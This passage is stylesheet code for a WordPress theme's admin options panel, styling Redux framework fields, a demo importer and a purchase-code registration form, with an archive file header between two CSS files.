1px; width: 30px; height: 30px; border: 0 none; border-radius: 0; outline: none; background: #7a8292; } .select2-container .select2-choice .select2-arrow b, .select2-container .select2-choice .select2-selection__arrow b { background: none; } .select2-container .select2-choice .select2-arrow b:before, .select2-container .select2-choice .select2-selection__arrow b:before { font-family: 'Elusive-Icons'; font-size: 8px; line-height: 30px; position: relative; display: block; width: 30px; content: '\f126'; text-align: center; color: #fff; } .select2-dropdown-open .select2-choice .select2-arrow b:before, .select2-dropdown-open .select2-choice .select2-selection__arrow b:before { content: '\f129'; } .redux-container .select2-drop-active { margin-top: 3px !important; border: 1px solid #999 !important; border-radius: 0 !important; } .redux-container .select2-results .select2-highlighted { background: #7a8292 !important; } .redux-container .select2-results .select2-highlighted { line-height: 30px !important; border-radius: 0 !important; background: #7a8292 !important; } .redux-container .select2-drop { line-height: 30px !important; box-shadow: none !important; } .switch-options .cb-enable { line-height: 30px; height: 30px; margin-top: 0 ! important; margin-bottom: 0 !important; border: none; border-radius: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; background: #fff; box-shadow: none; } .switch-options .cb-disable { line-height: 30px; height: 30px; margin-top: 0 ! important; margin-bottom: 0 !important; padding: 0 7px; border: none; border-radius: 0; border-top-right-radius: 4px; border-bottom-right-radius: 4px; background: #fff; box-shadow: none; } .redux-container .redux_field_th { font-size: 12px; font-weight: 700 !important; display: block; min-width: 210px; padding: 15px 15px 15px 0; } .redux-notice-field p { font-size: 12px; margin-top: 5px; margin-bottom: 0; padding: 0; } .redux-main span.description { font-size: 12px; font-weight: normal; font-style: normal !important; line-height: 1.5em; max-width: 380px; margin-top: 7px; margin-right: 30px; text-transform: none; color: #555 !important; } .redux-main span.description:first-letter { text-transform: uppercase; } .redux-container .expand_options { -webkit-transition: all .25s; transition: all .25s; border: 1px solid #e2e2e2; border-radius: 0; } .redux-container-switch .cb-enable span, .redux-container-switch .cb-disable span { font-size: 11px; font-weight: 400; line-height: 30px; height: 30px; padding: 0 5px; letter-spacing: 1px; text-transform: uppercase; } #wpwrap .redux-container .redux-container-switch .cb-enable.selected, #wpwrap .redux-container .ui-buttonset .ui-state-active, .wp-customizer .redux-container-switch .cb-enable.selected, .wp-customizer .redux-field-container .ui-buttonset .ui-state-active { border: 1px solid transparent !important; background: #78d098 !important; -webkit-box-shadow: none !important; box-shadow: none !important; } body .redux-container .redux-sidebar .redux-group-menu li.active a, body .redux-container .redux-sidebar .redux-group-menu li.activeChild a { color: #fff !important; background-color: #4ca26b !important; text-shadow: none !important; } body .redux-container .redux-sidebar .redux-group-menu li.active a { box-shadow: 1px 5px 10px rgba(0, 0, 0, .2); } input.small-text { width: 100px !important; border-color: #ddd !important; } .redux-container-switch .cb-disable, .redux-container-switch .cb-enable, .redux-container .ui-state-default, .redux-container .ui-widget-content .ui-state-default, .redux-container .ui-widget-header .ui-state-default { background: #f5f5f5 !important; } #wpwrap .redux-container-switch .cb-disable.selected, .wp-customizer .redux-container-switch .cb-disable.selected { border: 1px solid transparent !important; background: #3b414c !important; -webkit-box-shadow: none !important; box-shadow: none !important; } #redux_save { color: #fff; background: #78d098; } #redux_save:hover, #redux_save:focus { background-color: #1ed4a0 !important; } .redux-main .redux-action_bar input[type=submit] { font-weight: 400; margin-right: 5px; -webkit-transition: all .25s; transition: all .25s; text-transform: uppercase; color: #fff; border: none !important; -webkit-border-radius: 40px !important; border-radius: 40px !important; background: #7a8292; box-shadow: none !important; text-shadow: none; } .redux-main .redux-action_bar input[type='submit']:nth-of-type(2):hover, .redux-main .redux-action_bar input[type='submit']:nth-of-type(2):focus, .redux-main .redux-action_bar input[type='submit']:nth-of-type(3):hover, .redux-main .redux-action_bar input[type='submit']:nth-of-type(3):focus { color: #fff; background: #ff8763 !important; } #redux-import-action { margin-top: 15px !important; } .redux-container-multi_text > a, #redux-import-action input[type=submit], #redux-export-code-dl { color: #fff; border: none !important; background: #78d098 !important; box-shadow: none !important; text-shadow: none !important; } .redux-container .select2-container-multi .select2-choices { max-height: 600px; padding: 5px; border-color: #ddd; background: transparent; } .redux-main .redux-field-container { max-width: 600px; padding: 10px 0; } .redux-main .redux-field-container.redux-container-image_select { max-width: 100%; } .redux-container-multi_text > a:hover, .redux-container-multi_text > a:focus, #redux-import-action input[type=submit]:hover, #redux-import-action input[type=submit]:focus, #redux-export-code-dl:hover, #redux-export-code-dl:focus { background: #1ed4a0 !important; } .redux-container .redux-container-import_export a { margin-right: 7px; -webkit-transition: all .35s; transition: all .35s; color: #fff; border: none !important; -webkit-border-radius: 4px; border-radius: 4px; background: #999; box-shadow: none !important; } .redux-container .redux-container-import_export a:hover, .redux-container .redux-container-import_export a:focus { color: #fff; background-color: #28d466; } .redux-container .redux-container-import_export a:hover, .redux-container .redux-container-import_export a:focus { background-color: #ff8763 !important; } .redux-container #import_export_default_section_group a:hover, .redux-container #import_export_default_section_group a:focus { color: #fff; background: #4d4c4c; } .redux-sidebar .redux-menu-error { margin-top: 5px; margin-right: 20px; } .redux-container-multi_text .redux-multi-text-remove { font-size: 12px; font-weight: bold; padding: 3px; -webkit-transition: all .25s; transition: all .25s; color: #aaa; border-radius: 3px; } .redux-container-multi_text .redux-multi-text-remove:hover, .redux-container-multi_text .redux-multi-text-remove:focus { color: #fff !important; background: #ec4b4b; } .redux-main .theme-info li { margin-bottom: 10px !important; } .redux-main .theme-description { font-weight: bold; margin-bottom: 15px; } #foxiz_theme_options-multi_sidebars input[type=text] { margin-bottom: 10px; padding: 7px 10px; -webkit-transition: all .35s ease-in-out; transition: all .35s ease-in-out; border: 1px solid transparent; background: #ddd; } .redux-container-image_select .redux-image-select-selected img { border-color: #78d098 !important; box-shadow: 0 1px 10px #78d098 !important; } .redux-container-image_select .redux-image-select-selected { background: transparent; } .redux-container-image_select ul.redux-image-select li { padding: 0 15px 15px 0; } .redux-image-select span { font-size: 10px; display: block; text-align: center; } .form-table-section { margin-left: 24px; } .redux-main .input-append { position: relative; } .redux-main .input-append .add-on, .redux-main .input-prepend .add-on { font-size: 8px; line-height: 30px; display: block; width: 30px; height: 30px; padding: 0 !important; text-align: center; letter-spacing: 1px; text-transform: uppercase; color: #fff; border: 0 none; border-radius: 0; background: #7a8292; } .redux-main .redux-container-typography .add-on { font-size: 10px !important; line-height: 24px !important; position: absolute; top: 0; right: 0; bottom: 0; -webkit-box-sizing: border-box !important; box-sizing: border-box !important; width: 26px !important; height: 34px !important; padding: 0; border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #7a8292 !important; } .redux-main .redux-typography-container .input_wrapper input.mini { font-weight: 700; top: 0; width: 100%; height: 34px !important; padding-right: 34px; border: 1px solid #ddd; border-radius: 0; } .redux-main .button:not(.wp-color-result) { font-size: 11px; font-weight: 700; line-height: 30px; height: 30px; margin-top: 0; padding: 0 25px; -webkit-transition: all .25s; transition: all .25s; vertical-align: middle; color: #fff !important; border: none; -webkit-border-radius: 4px !important; border-radius: 4px !important; background: #78d098; box-shadow: none; } .redux-main .button:not(.wp-color-result):hover, .redux-main .button:not(.wp-color-result):focus { background: #1ed4a0 !important } .redux-main .wp-color-result-text { border-left: none; } .redux-main .input-append { margin-right: 0; } .redux-sidebar .redux-group-menu li { display: block; } .redux-container .redux-sidebar .redux-group-menu li a:hover { color: rgba(255, 255, 255, 1) !important; background: #363a42 !important; } .redux-sidebar .redux-group-menu li:last-child { border-bottom: 0; } .redux-sidebar .redux-group-menu li a.custom-tab { color: #fff; background: transparent; } .redux-container-textarea { max-width: 450px; } .redux-sidebar .redux-group-menu li.active a { background: #fff; } .redux-container .redux-group-tab { margin-bottom: 30px; padding-left: 10px; } .redux-main .wp-picker-container .wp-color-result { height: auto !important; padding-top: 2px; padding-right: 2px; padding-bottom: 2px; border: 1px solid #eee !important; border-radius: 0; background-color: #eee; box-shadow: none; } .redux-container-multi_text input[type=text] { font-weight: bold; max-width: 240px; margin-bottom: 10px; padding: 10px 15px; -webkit-transition: all .25s; transition: all .25s; color: #282828; border-radius: 4px; background: #f2f2f2 !important; } .repeat-label { font-size: 12px; display: block; margin-bottom: 7px; } .redux-container-multi_text input:read-only { cursor: not-allowed; color: #fff; background: #3b414c !important; } .redux-main .wp-color-result:after { font-weight: bold; padding: 0 10px; border: 0; border-radius: 0; box-shadow: none; } .wp-picker-container input[type=text].wp-color-picker { margin-left: 15px; padding: 3px 0; } .redux-main .wp-picker-input-wrap label { display: inline-block; } .redux-main .wp-pickercolorear { line-height: 24px !important; height: 24px !important;; } .redux-main .iris-picker .iris-square, .redux-main .iris-picker .iris-slider, .redux-main .iris-picker .iris-square-inner, .redux-main .iris-picker .iris-palette { border-radius: 0; box-shadow: none; } #foxiz_theme_options-ruby_raw_info { max-width: 550px; } #current-theme img { display: block; width: 100%; height: auto; margin: 0 auto; } #current-theme h2 { font-weight: bold; letter-spacing: 1px; text-transform: uppercase; } .redux-container #redux-header .display_header .redux-dev-mode-notice-container { position: absolute; top: 0; right: auto; bottom: auto; left: 0; } .redux-container #redux-header .display_header span.redux-dev-mode-notice { -webkit-border-radius: 0; border-radius: 0; background-color: #ffc784; } .redux-section-field h3 { border-bottom: none !important; } .ruby-section-end { margin: 10px 2%; border-top: 4px solid #eee; } .ruby-section-end.no-border { border-top: none; } .redux-container .form-table > tbody > tr > th { width: 30% !important; padding: 0 30px 0 0; vertical-align: middle; } .redux-container-image_select .redux-image-select img, .redux-container-image_select .redux-image-select .tiles { max-width: 72px; border-color: transparent; border-radius: 3px; box-shadow: 0 1px 10px rgba(0, 0, 0, .1); } .redux-container .select2-container-multi .select2-choices .select2-search-choice { margin: 5px 0 5px 5px !important; border: none !important; border-radius: 3px !important; background: #f2f2f2 !important } .redux-container .redux-main .layout-info { display: inline-flex; width: auto; max-width: 100px; border: 1px solid #a6b9ad !important; border-radius: 10px; background-color: transparent; } .redux-container .redux-main .layout-info img { width: 100% !important; height: auto; margin: 0; } .select2-results .select2-result-label { font-weight: bold; } #redux-header .rAds { top: 20px !important; right: 20px !important; } #redux-header .rAds img { margin-top: 0 !important; } body .redux-container .redux-field .select2-container { min-width: 280px !important; white-space: nowrap; outline: none !important; box-shadow: none !important; } .redux-container .redux-typography-container .select2-container { min-height: 0; } .redux-container textarea.large-text { display: block; max-width: 100%; } .redux-container .redux-group-tab h3 { font-size: 13px !important; font-weight: 700; line-height: 30px !important; display: inline-block; margin-top: 0; margin-bottom: 10px; padding: 0 10px; min-width: 260px; color: #fff !important; border-radius: 7px; background: #489fff !important; border-left: 7px solid #0070b4; } .redux-container .redux-container-sorter h3 { padding: 0; padding-left: 0 !important; text-align: center; text-transform: capitalize; color: #282828 !important; border: none; background: none !important; box-shadow: none; } .redux-container-sorter ul { padding: 20px 15px; text-align: center; border: none; border-radius: 4px; background: #f9f9f9; } .redux-container-sorter ul li { font-size: 12px; font-weight: 700; line-height: 20px !important; height: 20px !important; margin: 10px 0; padding: 7px 0; text-transform: uppercase; color: #fff !important; border: none !important; -webkit-border-radius: 4px; border-radius: 4px; background: #78d098; } .redux-container-sorter ul:last-child li { background-color: #3b414c; } .redux-main .buttonset .ui-button-text { font-size: 11px; font-weight: bold; text-transform: uppercase; } .redux-container .ui-button { border-radius: 0 !important; box-shadow: none !important; } .linkColor strong { font-size: 11px; display: block; margin-bottom: 5px; text-align: center; text-transform: uppercase; } .redux-main .redux-container-background .select2-container { margin-right: 2px; } .redux-container-import_export textarea { min-height: 185px; padding: 10px; } .redux-sidebar .redux-group-menu li.hasSubSections a { display: block; width: 100%; text-shadow: none !important; } .redux-sidebar .redux-group-menu li.active.hasSubSections > a { color: #fff !important; } .redux-container .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li a:hover, .redux-container .redux-sidebar .redux-group-menu li .subsection .redux-group-tab-link-li .redux-group-tab-link-a:hover, .redux-container .redux-sidebar .redux-group-menu li.activeChild.hasSubSections > a, .redux-container .redux-sidebar .redux-group-menu li.activeChild.hasSubSections > a:focus { color: rgba(255, 255, 255, 1) !important; background: #363a42 !important; box-shadow: none; } .redux-container .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a, .redux-container .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a, .redux-container .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li.active a, .redux-container .redux-sidebar .redux-group-menu li .subsection .redux-group-tab-link-li .redux-group-tab-link-a:focus { color: #fff !important; background: #4ca26b !important; } .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li a i { font-size: 10px; line-height: 26px; padding-left: 12px; } .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li.hasIcon a span.group_title { font-size: 11px; line-height: 26px; display: block; text-shadow: none !important; } body.wp-admin .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title { padding-left: 25px !important; } .redux-sidebar .hasSubSections .extraIconSubsections i { font-size: 7px; line-height: 25px; } .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a { padding-left: 25px; } .redux-sidebar .hasSubSections .extraIconSubsections i:before { content: '\f126' !important; } .redux-container .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li a, .redux-container .redux-sidebar .redux-group-menu li .subsection .redux-group-tab-link-li .redux-group-tab-link-a { background: none !important; } .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after { display: none !important; } .wp-admin .redux-container .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li a { display: flex; align-items: center; width: 200px; min-width: 200px; max-width: 200px; margin-right: 0; margin-left: 0; padding-right: 10px !important; padding-left: 10px !important; } .redux-sidebar .redux-group-menu .hasSubSections li.redux-group-tab-link-li { border-right: none; border-left: none; } .redux-main .form-table-section-indented { margin-right: 2% !important; margin-left: 2% !important; } .redux-container .redux-main .form-table tr.fold { border-bottom: none; } .redux-main #redux-sticky { margin-bottom: 45px; } .redux-main .redux-typography-container { max-width: 660px; margin-right: -5px; margin-left: -5px; } .redux-main .redux-typography-container .select_wrapper, .redux-main .redux-typography-container .select_wrapper:nth-child(even), .redux-main .redux-typography-container .select_wrapper:nth-child(odd), .redux-main .redux-typography-container .input_wrapper { display: block; float: left; width: 50% !important; min-width: 0 !important; max-width: none !important; height: auto; margin: 0 !important; padding: 10px 5px; } .redux-main .redux-typography-container .input_wrapper { width: 33.3333% !important; } .redux-main .redux-typography-container .input_wrapper.font-size { margin-left: 0; } .redux-main .redux-typography-container label { line-height: 1.5em; margin: 0 0 4px 0 !important; } .redux-main .redux-typography-container .wp-picker-container { display: block; clear: both; margin-bottom: 0; } .redux-main .redux-typography-container .typography-preview { display: block; overflow: hidden; max-width: 100%; margin-top: 20px; } .redux-main .redux-typography-container .select_wrapper .redux-typography { height: 34px !important; } .theme-info { display: block; width: 100%; margin-top: 45px; padding: 30px; background-color: #fff; } .redux-main .theme-info li { font-size: 14px; font-style: italic; margin-bottom: 15px !important; } .theme-description { font-style: normal !important; text-transform: uppercase; } .redux-sorter-container h3 { padding-bottom: 10px; } .sp-container button { font-size: 11px; font-weight: bold; padding: 7px 10px; -webkit-transition: all .35s ease-in-out; transition: all .35s ease-in-out; text-transform: uppercase; color: #fff; border: none !important; border-radius: 0 !important; outline: none !important; background: #2980b9; -webkit-box-shadow: none !important; box-shadow: none !important; } .sp-container button:hover, .sp-container button:hover:focus { background: #28d466; } .redux-main .color-transparency-check { font-size: 10px; font-weight: bold; text-transform: uppercase; } .redux-container .noUi-connect { background: #78d098 !important; } .redux-container .noUi-handle { border-radius: 0; } .redux-container .noUi-handle:before, .redux-container .noUi-handle:after { display: none; } .ruby-notice-import { font-size: 12px; line-height: 18px; display: block; max-width: 900px; margin-bottom: 45px; } .ruby-notice-import p { margin-bottom: 15px !important; } .redux-message { display: none !important; } /** wp-customizer page */ .wp-customizer #redux_rAds { display: none; } #customize-theme-controls { position: relative; display: block; width: 100%; } #customize-controls .description { display: block; margin-top: 5px; margin-right: 0; } #customize-controls .redux-image-select img { width: 60px !important; } .redux-main .redux-container-import_export .description { margin-bottom: 15px; } .redux-container .redux-sidebar .redux-group-menu li.hasSubSections .extraIconSubsections { font-size: 8px !important; position: absolute !important; top: 1px; right: 10px; } .redux-container .redux-sidebar ul .subsection { width: auto; max-width: 100%; margin: 0 15px !important; padding: 10px; -webkit-border-radius: 7px; border-radius: 7px; background-color: #363a42 !important; } .redux-container .notice-green { font-size: 14px; line-height: 40px; margin-top: 5px; margin-left: 5px; padding: 0 30px; color: #fff; border: none; border-radius: 4px; background-color: #78d098; text-shadow: none; } .redux-container .notice-red, .redux-container .redux-field-errors { font-size: 14px; line-height: 40px; margin: 5px; padding: 0 30px; color: #fff; border: none; border-radius: 4px; background-color: #ff8763; text-shadow: none; } .redux-container .notice-yellow { font-size: 14px; line-height: 40px; margin: 5px; padding: 0 30px; color: #fff; border: none; border-radius: 4px; background-color: #e4b46d; text-shadow: none; } .redux-container .redux-sidebar .redux-menu-error { font-size: 13px; margin-top: -5px; margin-right: 0; color: #fff; background-color: #fd7148; } .wp-customizer .redux_field_th { font-size: 15px; font-weight: 700; } .redux-container #section-table-section_start_quick_translation .redux_field_th { font-size: 15px; font-weight: 400 !important; line-height: 1.5; text-transform: none !important; } .redux-main #section-table-section_start_quick_translation input[type=text] { width: 100%; } /* rtl */ .rtl .redux-sidebar { float: right; } body.rtl:not(.wp-customizer) .redux-main { margin-right: 260px !important; margin-left: 0 !important; padding-left: 20px; } body.rtl .redux-container .redux-main span.description { margin-right: 0; margin-left: 30px; } body.rtl .redux-group-tab-link-a span.group_title, body.rtl .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title { padding-left: 0 !important; } body.rtl .redux-container .form-table > tbody > tr > th { padding-right: 0; padding-left: 30px; } body.rtl .redux-container .select2-container .select2-choice abbr { right: auto; left: 36px; } body.rtl div#redux_notification_bar { right: 0; left: auto; } body.rtl .sticky-footer-fixed { right: 444px !important; left: auto !important; } body.rtl .redux-container #redux-header .display_header .redux-dev-mode-notice-container { right: 30px !important; left: auto !important; } body.rtl .redux-container #redux-header .display_header { float: right; text-align: right; } body.rtl #redux-header .rAds { right: auto !important; left: 20px !important; } body.rtl .redux-main .button:not(.wp-color-result) { margin-left: 5px; } body.rtl .wbc_importer #wbc-importer-reimport { margin-right: 4px; margin-left: 0; } .redux-container-color_gradient strong { font-size: 13px; display: inline-block; margin-top: 2px; margin-right: 7px; vertical-align: middle; } #clear-gallery { background-color: #ff724c !important; } #clear-gallery:hover { background-color: #ff4b1d !important; } /** import panel */ .wbc_importer { margin-top: 20px; } .wbc_importer .theme-browser, .wbc_importer .theme-browser .themes { display: flex; display: -webkit-flex; align-items: flex-start; flex-flow: row wrap; flex-grow: 1; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; width: 100%; cursor: auto !important; } .wbc_importer .theme-browser .theme { display: flex; display: -webkit-flex; flex: 0 0 46%; flex-flow: row wrap; width: 46%; margin: 0 1.5% 50px 1.5% !important; cursor: auto !important; border: 5px solid #f2f2f2; -webkit-box-shadow: 0 45px 50px -45px #999; box-shadow: 0 45px 50px -45px #999; } .wbc_importer .theme .theme-screenshot { display: block; width: 100%; } .wbc_importer .theme-actions { font-size: 12px !important; font-weight: bold; text-align: right; text-transform: uppercase; border-radius: 0 !important; background: none !important; box-shadow: none !important; } .wbc_importer .theme-browser .themes .theme-name { font-size: 13px !important; font-weight: 700; line-height: 18px !important; display: block; overflow: hidden; height: 18px; margin: 0; margin-bottom: 10px; padding: 10px; text-align: center; letter-spacing: 0; color: #282829 !important; border: none; -webkit-border-radius: 0; border-radius: 0; background: #f8f8f8 !important; box-shadow: none !important; } .wbc_importer .theme-browser .theme .spinner { margin: 0 10px 0; } .wbc_importer .importer-button { font-size: 12px !important; font-weight: normal !important; line-height: 24px !important; height: 24px !important; margin-top: 0; padding: 0 10px !important; text-transform: uppercase; color: #fff !important; border: none; -webkit-border-radius: 2px !important; border-radius: 2px !important; background-color: #2abfac !important; box-shadow: none; } .ruby-import-data-notice { padding: 20px; -webkit-border-radius: 6px; border-radius: 6px; background-color: #fdffbc; } .ruby-import-tips { padding: 20px; border: 1px solid #6dbb89; -webkit-border-radius: 6px; border-radius: 6px; } .ruby-import-tips > strong:first-child { margin-bottom: 10px; } .ruby-import-tips a { color: #fff !important; } .redux-container .redux-main .theme-browser .button-primary { font-weight: normal; transition: all 0.13s linear; text-transform: uppercase; color: #fff !important; border: none; background-color: #19a1f7 !important; background-image: none !important; box-shadow: none !important; text-shadow: none !important; } .redux-container .redux-main .theme-browser .button-primary:hover, .redux-container .redux-main .theme-browser .button-primary:focus { opacity: .7; } .theme-screenshot-holder { position: relative; display: block; width: 100%; } .wbc_importer .data-select { position: relative; z-index: 999; display: block; } .wbc_importer .import-bar { position: relative; z-index: 999; display: block; width: 100%; } .wbc_importer .theme-browser .theme.active .theme-actions, .wbc_importer .theme-browser .theme .theme-actions { position: relative; top: auto; right: auto; bottom: auto; left: auto; margin: 0; margin-top: 10px; cursor: auto !important; -moz-transform: none; -ms-transform: none; -o-transform: none; -webkit-transform: none; transform: none; } .wbc_importer .wbc_imported_info { margin-right: 10px; cursor: alias; pointer-events: none !important; opacity: .4 !important; background-color: #666 !important; } .wbc_importer .rb-disabled { cursor: alias; pointer-events: none; opacity: .5; } .wbc_importer .data-select { margin-top: 5px; padding-right: 20px; padding-left: 20px; } .wbc_importer .rb-import-divider { display: block; clear: both; width: 100px; height: 2px; margin: 7px 0; border-bottom: 2px solid #aaa; } .wbc_importer .rb-import-header { font-size: 12px; font-weight: 700; padding: 7px 20px; text-transform: uppercase; } .wbc_importer .plugin-el { font-size: .9em; display: flex; display: -webkit-flex; padding: 7px 20px; } .wbc_importer .plugin-el .name { padding-left: 10px; } .wbc_importer .plugin-el .info { display: flex; display: -webkit-flex; flex-shrink: 0; margin-left: auto; } .wbc_importer .plugin-el .info.activated { color: #8aa985; } .wbc_importer .plugin-el .type { font-size: .8rem; margin-left: 5px; opacity: .5; } #section-table-section_start_quick_translation .redux_field_th { padding-left: 20px !important; } #section-table-section_start_quick_translation tr:nth-child(2n+1) { background: #f7f7f7; } #section-table-section_start_quick_translation tbody { border: 1px solid #eee; } .rtl .redux-sidebar .redux-group-menu li.hasSubSections .extraIconSubsections { right: auto; left: 10px; } .rtl .redux-main .wp-picker-container .wp-color-result { padding-right: 30px; padding-left: 2px; } .rtl #section-table-section_start_quick_translation .redux_field_th { padding-right: 20px !important; } .display_header .p-version { font-size: 15px; line-height: 1; margin-left: 7px; vertical-align: top; color: #78d098 !important; } span.pdocs-info i { font-size: 16px; margin-right: 3px; color: #fff; } span.pdocs-info { display: block; overflow: hidden; margin-top: 7px; } span.pdocs-info a { text-decoration: none; color: #fff !important; } span.pdocs-info a:hover { text-decoration: underline; } .redux-container #redux-header .display_header h2 { margin-bottom: 0; color: #fff !important; } .redux-container .redux-main .redux-field-container { padding: 15px 0; } .redux-notice-field .redux-info-desc { font-size: 11px; font-weight: 600; max-width: 760px; margin-top: 0; } .redux-container-media .upload.large-text { font-weight: 700; display: block !important; margin-bottom: 5px; } .redux-container-media .description.field-desc { color: #ff6767; } .redux-notice-field { margin-top: 0; margin-bottom: 20px; margin-left: 0; padding: 12px; border-width: 5px !important; background-color: #fafafa; -webkit-box-shadow: none; box-shadow: none; border-radius: 7px; } .redux-notice-field.redux-warning { border-color: #ffc386; background-color: #ffc38610; } .redux-notice-field.redux-success { border-color: #33a15a; } .redux-notice-field.redux-info { border-color: #489fff; background-color: #489fff10; } #info-info_update_logo { margin-top: 0; margin-bottom: 30px; } .select2-results .select2-highlighted, .admin-color-fresh .select2-results .select2-highlighted, .wp-customizer .select2-results .select2-highlighted { background-color: #4ca26b; } } @media (max-width: 992px) { .redux-main .redux-typography-container .select_wrapper, .redux-main .redux-typography-container .select_wrapper:nth-child(even), .redux-main .redux-typography-container .select_wrapper:nth-child(odd), .redux-main .redux-typography-container .input_wrapper { width: 100% !important; } } @media screen and (max-width: 1124px) { .redux-sidebar .redux-group-tab-link-a span.group_title { line-height: 38px; } .redux-sidebar .redux-group-menu { padding-left: 0; } } @media (max-width: 767px) { .form-table-section { margin-left: 0; } } @media only screen and (min-width: 1400px) { .wbc_importer .theme-browser .theme { display: flex; display: -webkit-flex; flex: 0 0 30%; flex-flow: row wrap; width: 30%; margin: 0 1.5% 50px 1.5% !important; cursor: auto !important; border: 5px solid #f2f2f2; -webkit-box-shadow: 0 45px 50px -45px #999; box-shadow: 0 45px 50px -45px #999; } } .rb-demo-import-checkbox { display: flex; display: -webkit-flex; align-items: center; flex-grow: 0; cursor: pointer; text-decoration: none !important; color: inherit !important; } .rb-demo-import-checkbox:before { display: inline-flex; flex-grow: 0; width: 10px; height: 10px; margin-right: 7px; content: ''; -webkit-transition: all .25s; transition: all .25s; border: 2px solid #eee; border-radius: 50%; } .data-select-el { margin-bottom: 7px; } .rb-demo-import-checkbox.checked:before { border-color: #9ac280; background: #9ac280; } .layout-info .redux-info-desc { display: flex; display: -webkit-flex; align-items: center; } .layout-info img { margin-left: 20px; } .rb-tops-icon.dashicons-before:before { font-size: 18px; line-height: inherit; }admin/assets/panel.css000064400000055071147206624460010772 0ustar00.rb-panel-wrap { position: relative; display: block; padding: 30px 20px; } .rb-panel-wrap * { -webkit-box-sizing: border-box; box-sizing: border-box; } .rb-panel-wrap strong { font-weight: 700; } .rb-panel-header { display: flex; align-items: center; } .rb-panel-header h1 { font-size: 2.5rem; line-height: 1.1; margin-top: 0; margin-bottom: 10px; } .rb-panel-wrap .sub-heading { font-size: 1rem; margin-top: 0; margin-bottom: 15px; color: #666666; } .rb-panel-logo { width: 90px; margin-right: 20px; } .rb-panel-logo img { display: block; width: 100%; height: auto; } .rb-quick-links { font-size: 1rem; } .rb-quick-links a { font-weight: 600; margin-right: 20px; -webkit-transition: all .25s; transition: all .25s; color: #666666; } .rb-quick-links a:hover { color: #333333; } .rb-quick-links a:last-child { margin-right: 0; } /** system info */ .rb-system-info { display: flex; max-width: 1100px; margin-top: 30px; margin-right: -20px; margin-left: -20px; } .rb-panel-col { display: flex; flex: 0 0 50%; flex-grow: 1; padding-right: 20px; padding-left: 20px; } .rb-panel-col .rb-inner { display: block; width: 100%; padding: 60px 40px; -webkit-border-radius: 7px; border-radius: 7px; background-color: #ffffff; } .rb-info-header h2 { font-size: 2rem; font-weight: 400; line-height: 1; margin-top: 0; padding-bottom: 15px; border-bottom: 2px solid; } .info-el { display: flex; flex-flow: column nowrap; width: 100%; margin-bottom: 20px; padding-bottom: 20px; border-bottom: 1px solid #eeeeee; } .info-el:last-child { margin-bottom: 0; padding-bottom: 0; border-bottom: 0; } .info-content { display: flex; flex-flow: row nowrap; width: 100%; } .info-warning { font-size: .8rem; display: block; margin-top: 12px; color: #aaaaaa; } .info-value { font-size: 1rem; font-weight: 700; justify-content: flex-end; color: #49ac7e; } .is-warning .info-value { color: #ff332e; } .info-label { font-size: 1.1rem; flex-grow: 1; } /** register purchase form */ .rb-panel { display: block; width: 100%; max-width: 600px; margin-top: 50px; padding: 60px 40px; -webkit-border-radius: 7px; border-radius: 7px; background-color: #ffffff; box-shadow: 0 10px 20px rgba(0, 0, 0, .05); } .rb-activate-header, .rb-project-id-header { display: block; margin-bottom: 40px; } .rb-activate-header h2, .rb-project-id-header h2, .rb-font-details-header h2 { font-size: 1.8rem; font-weight: 400; margin-top: 0; } .rb-activate-header h2, .rb-project-id-header h2 { color: #ff9252; } .rb-activate-header.is-activated h2 { color: #49ac7e; } .rb-activate-header i { margin-right: 7px; } body.rtl .rb-activate-header i { margin-left: 7px; margin-right: 0; } .rb-activate-header p, .rb-fonts-header p { font-size: 1rem; } .rb-activate-form { position: relative; } .rb-panel-input { position: relative; display: block; margin-bottom: 40px; } label.rb-panel-label { font-size: 11px; font-weight: 700; line-height: 1; display: block; margin-bottom: 10px; padding-left: 10px; text-transform: uppercase; border-left: 7px solid #ff9257; } input.rb-panel-input-text { font-size: 1.2rem; display: block; width: 100%; padding-right: 0; padding-left: 0; border: none; border-bottom: 2px solid; border-radius: 0; outline: none !important; background: none; box-shadow: none !important; } input[name="activated_purchase_code"] { color: #49ac7e; } input.rb-panel-input-text, input.rb-panel-input-text:focus, input.rb-panel-input-text:active { border-color: #333333; box-shadow: none !important; } input.rb-panel-input-text:-webkit-autofill, input.rb-panel-input-text:-webkit-autofill:hover, input.rb-panel-input-text:-webkit-autofill:focus, input.rb-panel-input-text:-webkit-autofill:active { -webkit-box-shadow: 0 0 0 30px white inset !important; } input.rb-panel-input-text::placeholder { font-size: 1rem; color: #aaaa } .rb-panel-submit { display: flex; align-items: center; } span.rb-purchase-code-info { font-size: .8rem; margin-left: auto; } .rb-panel-button, button.rb-panel-button { font-size: 1.1rem; font-weight: 700; padding: 10px 25px; cursor: pointer; -webkit-transition: all .25s; transition: all .25s; text-decoration: none; color: #ffffff; border: none; border-radius: 5px; outline: none; background: #49ac7e; box-shadow: none; } #delete-project-id { background: #ff815c; } #delete-project-id:hover { background: #ff531f; } .re-fetch-translation { padding: 0; cursor: pointer; text-decoration: underline; color: #777777; border: none; } .re-fetch-translation:hover { color: #49ac7e; } .rb-panel-button.deregister-button { background: #ff815c; } .rb-panel-button:hover, .rb-panel-button:focus { color: #ffffff; outline: none; background: #2f6f52; box-shadow: none; } .rb-panel-button.deregister-button:hover { background: #ff332e; } input.rb-panel-input-text.rb-validate-error { border-color: #ff332e; } .rb-panel-button.disabled, .rb-panel-button.deregister-button:disabled { cursor: auto; pointer-events: none !important; background: #dddddd; } .rb-error-info { line-height: 30px; position: absolute; right: 0; bottom: 0; display: block; color: #ff332e; } .is-hidden { display: none !important; } .is-disable { pointer-events: none !important; } .rb-loading { margin-left: 10px; } .rb-loading i 